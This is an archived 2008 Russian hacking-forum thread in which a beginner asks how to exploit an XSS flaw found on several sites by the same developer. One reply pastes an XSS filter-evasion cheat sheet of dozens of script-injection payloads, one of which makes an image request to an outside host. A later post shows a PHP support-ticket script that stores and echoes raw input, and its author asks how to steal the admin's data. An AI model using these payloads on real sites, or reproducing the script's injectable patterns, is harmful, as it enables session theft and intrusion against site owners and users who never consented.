Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

XSS и много!!!

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> XSS и много!!!
Имя
Сообщение << Старые топики   Новые топики >>
XSS и много!!! - 2008-04-10 13:41:21.693333   
novosibirec

Сообщений: 29
Оценки: 0
Присоединился: 2008-04-08 06:34:51.826666
приветствую!!!!! нашел ХСС в поиске НО выводятся только цифры т.е. % и латинские съедает скрипт! как юзать эту уязву!?

все сайты сделаны одним разработчиком! есть на чем погулять!


жду ваших советов!
Post #: 1
RE: XSS и много!!! - 2008-04-10 15:58:23.643333   
[ TRaY ]

Сообщений: 919
Оценки: 0
Присоединился: 2008-03-22 18:47:37.556666
Взято с античата, это вырезки из статьи "Обход фильтров при использовании XSS-уязвимости"
Думаю тебе это поможет, но лучше всего юзать сам поиск а потом уже уязвимости…имхо
Разделители атрибутов тега.
Помимо пробела, можно использовать символы: слеш(/), табуляцию, перевод строки. Разделитель можно опустить, если предыдущий атрибут заключен в кавычки.
<image/src="1.png"/alt="Подсказка"/border="0">
<image src="1.png" alt="Подсказка" border="0">
<image
src="1.png"
alt="Подсказка"
border="0">
<image src="1.png"alt="Подсказка"border="0">
Ограничители атрибутов тега
Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать.
<image src="" alt="Моя подсказка" border="0">
<image src="" alt='Моя подсказка' border="0">
<image src="" alt=`Моя подсказка` border="0">
<image src="" alt=Подсказка border="0">
Кодировки символов
Расшифровка символов в скрипте происходит до его выполнения:
<img src=javascript:alert("ok")>
<img src=javascript:alert('ok')>
<img src=javascript:alert('ok')>
<a href=javascript:alert(%22ok%22)>click me</a> (только в атрибуте href)
Ограничители символьных литералов в скриптах
<img src=javascript:alert('ok')>
<img src=javascript:alert("ok")>
<img src=javascript:a=/ok/;alert(a.source)>
<img src=javascript:alert(String.fromCharCode(111,107))>
Обход фильтрации некоторых символов
<img src=javascript:i=new/**/Image();i.src='http://bla.bla'>(замена пробела на /**/)
Способы запуска скриптов
Несколько способов автоматического запуска скриптов:
<script>alert('ok')</script>
<script src=1.js></script>
<body onLoad=alert('ok')>
<meta http-equiv=Refresh content=0;url=javascript:alert('ok')>
<image src=1.png onload=alert('ok')>
<image src=javascript:alert('ok')>
<image src="" onerror=alert('ok')>
<hr style=background:url(javascript:alert('ok'))>
<span style=top:expression(alert('ok'))></span>
<span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span> (срабатывает только один раз)
<style type="text/css">@import url(javascript:alert('ok'));</style>
<object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object>
<embed src=javascript:alert('ok');this.avi>
<embed src=javascript:alert('ok');this.wav>
<iframe src=javascript:alert('ok')> (только в IE)
<a href=javascript:alert(%22ok%22)>click me</a> (запуск только при клике по ссылке)
<a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')>click me</a> (запуск только при клике по ссылке)
<br SIZE="&{alert('XSS')}"> (только Netscape 4.x)
Различные скриптовые протоколы, способы их написания
<img src=javascript:alert()>
<img src=vbscript:AleRt()>
<img src=JaVasCriPt:alert()>
<img src=" javascript:alert()"> (пробелы до слова javascript)
<img src=javascript:alert()>
<img src=javascript :alert()>
<img src=javascript :alert()>
<img src=javascript :alert()>
<img src="javascript :alert()"> (перед двоеточием - символ табуляции)
<img src="java scri
pt:ale rt()"> (внутри слова javascript - символ табуляции и возврат каретки)
Вставки скриптов в style
Операторы скрипта в атрибуте style нужно разделять "\;".
<hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`>
Специальные теги.
<image src="1.png" alt="" border="0"> (тег img и image работают одинаково)
<plaintext> (все, что будет идти после этого тега, будет восприниматься как обычный текст - не HTML)
<textarea> (все, что будет идти после этого тега, будет восприниматься как обычный текст - не HTML)
<xml> (все, что будет идти после этого тега, не будет отображаться)
Таблица часто применяемых кодов:
Символ Десятичная кодировка 16-ая кодировка* Символьная кодировка URL-кодировка
" " " " %22
' ' ' %27
` ` ` %60
<пробел> +
<табуляция> %09
<возврат каретки> %0D
= = = %3D
< < < < %3C
> > > > %3E
\ \ \ %5C
% % % %25
+ + + %2B
<короткий дефис> ­ ­ ­ %AD
& & & & %26


*-в некоторых случаях точку с запятой можно опустить (если символ стоит в конце строки, или подряд идут несколько символов в данной кодировке).
(С) antichat.ru
Post #: 2
RE: XSS и много!!! - 2008-04-20 00:35:43.430000   
akak

Сообщений: 1
Оценки: 0
Присоединился: 2008-04-13 23:46:20.216666
Все это, конечно, хорошо. Но в частном случае не совсем понятно. Вот у меня есть уязвимый скрипт, страница техподдержки:
&lt;? session_start(); $title="Техподдержка\n"; include ("header.php"); include ("func/aut.php"); if ($mod=="add") { if (empty($message)) { echo "&lt;form action=\"support.php?mod=add&amp;".session_name()."=".session_id()."&amp;go=post\" method=\"post\"&gt;"; echo $div["ten"]; echo "&lt;img src=\"pics/st.gif\" alt=\"*\"/&gt;";echo "Вопрос: &lt;br/&gt;"; echo "&lt;input name=\"message\" maxlength=\"250\" value=\"$msg_db\" title=\"Text\"/&gt;&lt;br/&gt;"; echo "&lt;input class=\"ibutton\" type=\"submit\" value=\"Отправить\"/&gt;"; echo $div["end"];; echo "&lt;/form&gt;"; } else { echo $div["ten"]; @mysql_query("insert into `support` values(0,'".$autorize['id']."','$date','$message','');")or die ("FUCK"); $idt=mysql_insert_id(); echo "Тикет №$idt успешно создан. Ваш вопрос на обработке. Спасибо&lt;br/&gt;"; echo "&lt;img src=\"pics/st.gif\" alt=\"*\"/&gt;";echo "&lt;a href=\"support.php?".session_name()."=".session_id()."\"&gt;Поддержка&lt;/a&gt;&lt;br/&gt;"; echo "&lt;img src=\"pics/st.gif\" alt=\"*\"/&gt;";echo "&lt;a href=\"enter.php?".session_name()."=".session_id()."\"&gt;Панель&lt;/a&gt;&lt;br/&gt;"; echo $div["end"]; } include ("footer.php"); exit(); } echo $div["ten"]; if(empty($startan)) $startan = 0; $startan=intval($startan); if($startan&lt;0) $startan=0; $num_msgs_an=5; $arr = mysql_query("select * from `support`"); $qi = mysql_query("select * from `support` where `idc`='".$autorize['id']."' order by `id` desc limit $startan,$num_msgs_an;;"); if (mysql_affected_rows()==0) { echo "Не созданно ни одного тикета!&lt;br/&gt;"; } else { while($row=mysql_fetch_array($qi)) { echo "#".$row['id']." | ".$row['date']." | ".$row['msg']."&lt;br/&gt;"; echo ""; if (empty($row['ans'])) echo "в обработке...&lt;br/&gt;---&lt;br/&gt;"; else echo "&lt;b&gt;Ответ:&lt;/b&gt; ".$row['ans']."&lt;br/&gt;---&lt;br/&gt;"; } } $i = @mysql_num_rows($arr); if($startan!=0) echo "&lt;a href=\"support.php?".session_name()."=".session_id()."&amp;startan=".($startan-$num_msgs_an)."\"&gt;".htmlspecialchars("&lt;&lt;--")."&lt;/a&gt;] "; if($i&gt;$startan+$num_msgs_an) echo "[&lt;a href=\"support.php?".session_name()."=".session_id()."&amp;startan=".($startan+$num_msgs_an)."\"&gt;".htmlspecialchars("--&gt;&gt;")."&lt;/a&gt;";; echo "&lt;br/&gt;&lt;img src=\"pics/st.gif\" alt=\"*\"/&gt;";echo "&lt;a href=\"support.php?mod=add&amp;".session_name()."=".session_id()."\"&gt;Добавить тикет&lt;/a&gt;&lt;br/&gt;"; echo "&lt;img src=\"pics/st.gif\" alt=\"*\"/&gt;";echo "&lt;a href=\"enter.php?".session_name()."=".session_id()."\"&gt;Панель&lt;/a&gt;&lt;br/&gt;"; echo $div["end"]; include ("footer.php"); ?&gt; Как видно, отсутствует фильтрация символов вводимой посетителем сайта информации.
И как в данном случае применить xss?
Отображается вставленная картинка, использовал сниффер. Админ ответил, но я не смог увидеть даже REFERER.
Так как же все-таки использовать уязвимость, что для этого нужно?
Post #: 3
Страниц:  [1]
Все форумы >> [Для начинающих] >> XSS и много!!!







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.